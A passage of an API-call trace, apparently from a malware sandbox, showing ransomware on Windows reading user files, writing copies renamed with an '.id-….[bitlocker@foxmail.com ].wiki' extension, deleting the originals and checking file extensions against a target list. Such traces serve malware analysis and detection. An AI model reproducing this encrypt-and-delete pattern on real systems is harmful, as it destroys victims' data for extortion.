lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.447] GetLastError () returned 0x0 [0174.447] ReadFile (in: hFile=0x198, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x560, lpOverlapped=0x0) returned 1 [0174.451] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x570, lpOverlapped=0x0) returned 1 [0174.452] ReadFile (in: hFile=0x198, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0174.452] WriteFile (in: hFile=0x124, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x11e, lpOverlapped=0x0) returned 1 [0174.452] SetEndOfFile (hFile=0x124) returned 1 [0174.453] CloseHandle (hObject=0x124) returned 1 [0174.453] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0174.453] SetEndOfFile (hFile=0x198) returned 1 [0174.453] CloseHandle (hObject=0x198) returned 1 [0174.453] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.454] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest")) returned 1 [0174.454] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 171 [0174.454] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 171 [0174.454] lstrlenW (lpString=".doc") returned 4 [0174.454] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0174.454] lstrlenW (lpString=".docx") returned 5 [0174.454] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0174.454] lstrlenW (lpString=".pdf") returned 4 [0174.454] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0174.454] lstrlenW (lpString=".xls") returned 4 [0174.454] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0174.454] lstrlenW (lpString=".xlsx") returned 5 [0174.454] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0174.454] lstrlenW (lpString=".ppt") returned 4 [0174.454] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0174.454] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 171 [0174.454] lstrlenW (lpString=".zip") returned 4 [0174.454] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0174.454] lstrlenW (lpString=".rar") returned 4 [0174.696] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0174.696] lstrlenW (lpString=".bz2") returned 4 [0174.696] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0174.696] lstrlenW (lpString=".7z") returned 3 [0174.696] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0174.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 171 [0174.696] lstrlenW (lpString=".dbf") returned 4 [0174.696] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0174.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 171 [0174.696] lstrlenW (lpString=".1cd") returned 4 [0174.696] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0174.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 171 [0174.696] lstrlenW (lpString=".jpg") returned 4 [0174.696] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0174.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 171 [0174.696] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 171 [0174.696] lstrlenW (lpString=".doc") returned 4 [0174.696] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0174.696] lstrlenW (lpString=".docx") returned 5 [0174.696] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0174.697] lstrlenW (lpString=".pdf") returned 4 [0174.697] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0174.697] lstrlenW (lpString=".xls") returned 4 [0174.697] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0174.697] lstrlenW (lpString=".xlsx") returned 5 [0174.697] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0174.697] lstrlenW (lpString=".ppt") returned 4 [0174.697] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0174.697] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 171 [0174.697] lstrlenW (lpString=".zip") returned 4 [0174.697] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0174.697] lstrlenW (lpString=".rar") returned 4 [0174.697] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0174.697] lstrlenW (lpString=".bz2") returned 4 [0174.697] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0174.697] lstrlenW (lpString=".7z") returned 3 [0174.697] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0174.697] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 171 [0174.697] lstrlenW (lpString=".dbf") returned 4 [0174.697] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0174.697] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 171 [0174.697] lstrlenW (lpString=".1cd") returned 4 [0174.697] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0174.697] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap_unsigned.manifest") returned 171 [0174.697] lstrlenW (lpString=".jpg") returned 4 [0174.697] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0174.697] lstrcmpiW (lpString1=".manifest", lpString2=".wiki") returned -1 [0174.698] lstrlenW (lpString="goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 68 [0174.698] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0175.033] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=11824) returned 1 [0175.033] CloseHandle (hObject=0x198) returned 1 [0175.033] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest")) returned 0x2020 [0175.033] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0175.033] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.033] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.033] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0175.036] GetLastError () returned 0x0 [0175.036] ReadFile (in: hFile=0x198, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x2e30, lpOverlapped=0x0) returned 1 [0175.038] WriteFile (in: hFile=0x334, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x2e40, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x2e40, lpOverlapped=0x0) returned 1 [0175.039] ReadFile (in: hFile=0x198, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.039] WriteFile (in: hFile=0x334, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x15c, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x15c, lpOverlapped=0x0) returned 1 [0175.040] SetEndOfFile (hFile=0x334) returned 1 [0175.040] CloseHandle (hObject=0x334) returned 1 [0175.040] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.040] SetEndOfFile (hFile=0x198) returned 1 [0175.070] CloseHandle (hObject=0x198) returned 1 [0175.070] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.071] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest")) returned 1 [0175.071] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 157 [0175.071] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 157 [0175.071] lstrlenW (lpString=".doc") returned 4 [0175.071] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0175.071] lstrlenW (lpString=".docx") returned 5 [0175.071] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0175.072] lstrlenW (lpString=".pdf") returned 4 [0175.072] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0175.072] lstrlenW (lpString=".xls") returned 4 [0175.072] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0175.072] lstrlenW (lpString=".xlsx") returned 5 [0175.072] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0175.072] lstrlenW (lpString=".ppt") returned 4 [0175.072] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0175.072] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 157 [0175.072] lstrlenW (lpString=".zip") returned 4 [0175.072] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0175.072] lstrlenW (lpString=".rar") returned 4 [0175.072] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0175.072] lstrlenW (lpString=".bz2") returned 4 [0175.072] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0175.072] lstrlenW (lpString=".7z") returned 3 [0175.072] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0175.072] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 157 [0175.072] lstrlenW (lpString=".dbf") returned 4 [0175.072] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0175.072] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 157 [0175.072] lstrlenW (lpString=".1cd") returned 4 [0175.072] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0175.072] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 157 [0175.072] lstrlenW (lpString=".jpg") returned 4 [0175.072] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0175.072] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 157 [0175.073] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 157 [0175.073] lstrlenW (lpString=".doc") returned 4 [0175.073] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0175.073] lstrlenW (lpString=".docx") returned 5 [0175.073] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0175.073] lstrlenW (lpString=".pdf") returned 4 [0175.073] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0175.073] lstrlenW (lpString=".xls") returned 4 [0175.073] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0175.073] lstrlenW (lpString=".xlsx") returned 5 [0175.073] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0175.073] lstrlenW (lpString=".ppt") returned 4 [0175.073] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0175.073] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 157 [0175.073] lstrlenW (lpString=".zip") returned 4 [0175.073] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0175.073] lstrlenW (lpString=".rar") returned 4 [0175.073] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0175.073] lstrlenW (lpString=".bz2") returned 4 [0175.073] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0175.073] lstrlenW (lpString=".7z") returned 3 [0175.073] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0175.073] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 157 [0175.073] lstrlenW (lpString=".dbf") returned 4 [0175.073] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0175.073] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 157 [0175.073] lstrlenW (lpString=".1cd") returned 4 [0175.073] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0175.073] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\goog...app_baa8013a79450f71_0001.0003_none_677c9e37069a7e2a.manifest") returned 157 [0175.073] lstrlenW (lpString=".jpg") returned 4 [0175.073] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0175.074] lstrlenW (lpString="data_2") returned 6 [0175.074] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0177.050] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x379ff1c | out: lpFileSize=0x379ff1c*=8192) returned 1 [0177.050] CloseHandle (hObject=0x2dc) returned 1 [0177.050] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2")) returned 0x2020 [0177.050] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.050] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0177.050] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.050] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.050] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0177.051] GetLastError () returned 0x0 [0177.051] ReadFile (in: hFile=0x2dc, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x2000, lpOverlapped=0x0) returned 1 [0177.056] WriteFile (in: hFile=0x1a4, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0x2010, lpOverlapped=0x0) returned 1 [0177.057] ReadFile (in: hFile=0x2dc, lpBuffer=0x4150020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x379fed4, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesRead=0x379fed4*=0x0, lpOverlapped=0x0) returned 1 [0177.057] WriteFile (in: hFile=0x1a4, lpBuffer=0x4150020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x379fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4150020*, lpNumberOfBytesWritten=0x379fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0177.057] SetEndOfFile (hFile=0x1a4) returned 1 [0177.057] CloseHandle (hObject=0x1a4) returned 1 [0177.057] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x379fec8 | out: lpNewFilePointer=0x0) returned 1 [0177.057] SetEndOfFile (hFile=0x2dc) returned 1 [0177.058] CloseHandle (hObject=0x2dc) returned 1 [0177.058] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.058] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_2")) returned 1 [0177.059] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 88 [0177.059] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 88 [0177.059] lstrlenW (lpString=".doc") returned 4 [0177.059] lstrcmpiW (lpString1=".doc", lpString2="ta_2") returned -1 [0177.059] lstrlenW (lpString=".docx") returned 5 [0177.059] lstrcmpiW (lpString1=".docx", lpString2="ata_2") returned -1 [0177.059] lstrlenW (lpString=".pdf") returned 4 [0177.059] lstrcmpiW (lpString1=".pdf", lpString2="ta_2") returned -1 [0177.059] lstrlenW (lpString=".xls") returned 4 [0177.059] lstrcmpiW (lpString1=".xls", lpString2="ta_2") returned -1 [0177.059] lstrlenW (lpString=".xlsx") returned 5 [0177.059] lstrcmpiW (lpString1=".xlsx", lpString2="ata_2") returned -1 [0177.059] lstrlenW (lpString=".ppt") returned 4 [0177.059] lstrcmpiW (lpString1=".ppt", lpString2="ta_2") returned -1 [0177.059] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_2") returned 88 [0177.059] lstrlenW (lpString=".zip") returned 4 [0177.059] lstrcmpiW (lpString1=".zip", lpString2="ta_2") returned -1 [0177.059] lstrlenW (lpString=".rar") returned 4 [0177.059] lstrcmpiW (lpString1=".rar", lpString2="ta_2") returned -1 [0177.059] lstrlenW (lpString=".bz2") returned 4 [0177.059] lstrcmpiW (lpString1=".bz2", lpString2="ta_2") returned -1 [0177.059] lstrlenW (lpString=".7z") returned 3 [0177.059] lstrcmpiW (lpString1=".7z", lpString2="a_2") returned -1 [0177.059] lstrlenW 